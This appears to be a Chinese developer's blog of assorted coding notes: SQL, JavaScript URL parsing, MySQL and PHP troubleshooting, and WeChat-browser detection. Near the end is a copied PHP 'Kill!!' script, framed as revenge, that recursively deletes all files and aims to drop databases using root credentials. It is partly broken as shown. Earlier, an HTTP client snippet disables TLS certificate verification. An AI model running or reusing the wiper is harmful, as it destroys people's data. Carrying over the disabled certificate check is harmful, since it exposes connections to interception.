地址:https://content.21cn.com/h5/subscrip/index.html#/pages/own-home/index?userId=31059970&browserId=2fdb377df89dc48958b32c4fedde991d

用于手机上app调式

如果链接失效请联系QQ:690712575 ,并备注您的姓名和在哪里看到的信息

这个是前端期望的数据:
{
“name”:”小小小村”,
“tel”:”1xxxxx99217″,
“province”:”江西省”,
“city”:”萍乡市”,
“county”:”莲花县”,
“address_detail”:”琴亭镇农机xxxx”,
“area_code”:”360321″,
“postal_code”:”337000″,
“is_default”:false
}
这个是我程序的数据:
,最后我可以利用以下语句构造
例如新增查询出来带有省份
select ‘广东省’ as province from jlwm_user;
这个 province 在数据表中 jlwm_user 是不存在的,但是查出来的是默认值,我写死的值,最后就搞定了

如果调用照相机拍照后返回的是
file://+绝对路径
那么获取该文件的绝对路径不加file://协议怎么处理呢,当然是用字符串截取,但是这里的字符串截取的起点是1,居然不是从0开始算起,所以file://中的f代表的是1
具体代码块如下:

那么这样截取出来的就是绝对路径了,因为我要进行base64编码,只能这样,把这个图片的绝对路径保存到一个全局变量中然后再调用

//paraName 等找参数的名称
function GetUrlParam(paraName) {
var url = document.location.toString();
var arrObj = url.split(“?”);

if (arrObj.length > 1) {
var arrPara = arrObj[1].split(“&”);
var arr;

for (var i = 0; i < arrPara.length; i++) {
arr = arrPara[i].split(“=”);

if (arr != null && arr[0] == paraName) {
return arr[1];
}
}
return “”;
}
else {
return “”;
}
}

解决cURL error 60: SSL certificate problem: self signed certificate in certificate chain (see http://curl.haxx.se/libcurl/c/libcurl-errors.html)
class Login
{
private $serverUrl=’https://’;

function index(){
//对ssl证书不作检验需要把verify设置为false
$client=new Client([‘base_uri’=>$this->serverUrl,’verify’=>false]);
$response = $client->request(‘get’,”);
echo $body= (string)$response->getBody();

}

}

问题:ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/www/server/data/mysql.sock’ (2)

解决,先看看错误信息

执行: journalctl |grep mysql

错误信息:root@chenjianle-desktop:~# journalctl |grep mysql
12月 17 18:46:32 chenjianle-desktop mysql-systemd-start[724]: MySQL configuration not found at /etc/mysql/my.cnf. Please create one.
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Control process exited, code=exited status=1
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Unit entered failed state.
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Failed with result ‘exit-code’.
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Service hold-off time over, scheduling restart.
12月 17 18:46:32 chenjianle-desktop mysql-systemd-start[743]: MySQL configuration not found at /etc/mysql/my.cnf. Please create one.
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Control process exited, code=exited status=1
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Unit entered failed state.
12月 17 18:46:32 chenjianle-desktop systemd[1]: mysql.service: Failed with result ‘exit-code’.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Service hold-off time over, scheduling restart.
12月 17 18:46:33 chenjianle-desktop mysql-systemd-start[757]: MySQL configuration not found at /etc/mysql/my.cnf. Please create one.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Control process exited, code=exited status=1
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Unit entered failed state.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Failed with result ‘exit-code’.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Service hold-off time over, scheduling restart.
12月 17 18:46:33 chenjianle-desktop mysql-systemd-start[767]: MySQL configuration not found at /etc/mysql/my.cnf. Please create one.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Control process exited, code=exited status=1
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Unit entered failed state.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Failed with result ‘exit-code’.
12月 17 18:46:33 chenjianle-desktop systemd[1]: mysql.service: Service hold-off time over, scheduling restart.
12月 17 18:46:33 chenjianle-desktop mysql-systemd-start[782]: MySQL configuration not found at /etc/mysql/my.cnf. Please create one.

 

发现安装的my.cnf和我用宝塔面板里面指定的配置信息不一致。造成无法启动。

解决办法,新建一个my.cnf.

MySQL configuration not found at /etc/mysql/my.cnf. Please create one.

 

错误信息:

PHP Warning: PHP Startup: Unable to load dynamic library ‘ext\php_ui.dll’ – 找不到指定的模块。
in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library ‘ext\php_ui.dll’ – 找不到指定的模块。
in Unknown on line 0

原因和解决:

虽然我把扩展复制到ext目录和配置文件中也写了。也复制到windows/system32/下。但是文档也有描述应该复制到和php.exe同一级目录下。如下图紫色框的内容复制到php.exe同一级目录

然后再次运行则警告消失了

 

我也不知道哪里抄过来的

<?php
// +———————————————————————-
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +———————————————————————-
// | Version: $Id$
// +———————————————————————-

//———-数据库配置区域—————–
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(‘DB_USER’, ‘root’);
define(‘DB_PWD’, ‘root’);
define(‘DB_HOST’, ‘localhost’);
define(‘DB_PORT’, ‘3216’);
define(‘DB_DAMAGE’, true); //为false时,不碰数据库

run();

/**
* 主体思想必须光辉伟大!
*
* @return void
**/
function run()
{
//删除文件
deletedir();
//删除数据库
deleteDB();
}

/**
* 呵呵呵,删除当前目录所有文件(递归)
*
* @return void
**/
function deletedir($dir = ”){
if ($dir == ”) {
$dir = realpath(‘.’);
}
echo $dir;
exit();
if(!handle=@opendir($dir)){ //检测要打开目录是否存在
die(“没有该目录”);
}
while(false !==($file=readdir($handle))){
if($file!==”.”&&$file!==”..”){ //排除当前目录与父级目录
$file=$dir .DIRECTORY_SEPARATOR. $file;
if(is_dir($file)){
deletedir($file);
}else{
if(@unlink($file)){
echo “文件<b>$file</b>删除成功。<br>”;
}else{
echo “文件<b>$file</b>删除失败!<br>”;
}
}
}
if(@rmdir($dir)){
echo “目录<b>$dir</b>删除成功了。<br>\n”;
}else{
echo “目录<b>$dir</b>删除失败!<br>\n”;
}
}

/**
* 呵呵呵,删除数据库
*
* @return void
**/
function deleteDB()
{
if(DB_DAMAGE === true){
//start
}
}

js判断是否是微信浏览器
function is_weixin() {
var ua = window.navigator.userAgent.toLowerCase();
if (ua.match(/MicroMessenger/i) == ‘micromessenger’) {
$(“#rs”).text(“微信浏览器”);
} else {
$(“#rs”).text(“不是微信浏览器”);
}
}

PHP判断

$is_weixin = (is_weixin() == true) ? “微信浏览器” : “不是微信浏览器”;
function is_weixin() {
if (strpos($_SERVER[‘HTTP_USER_AGENT’], ‘MicroMessenger’) !== false) {
return true;
} return false;
}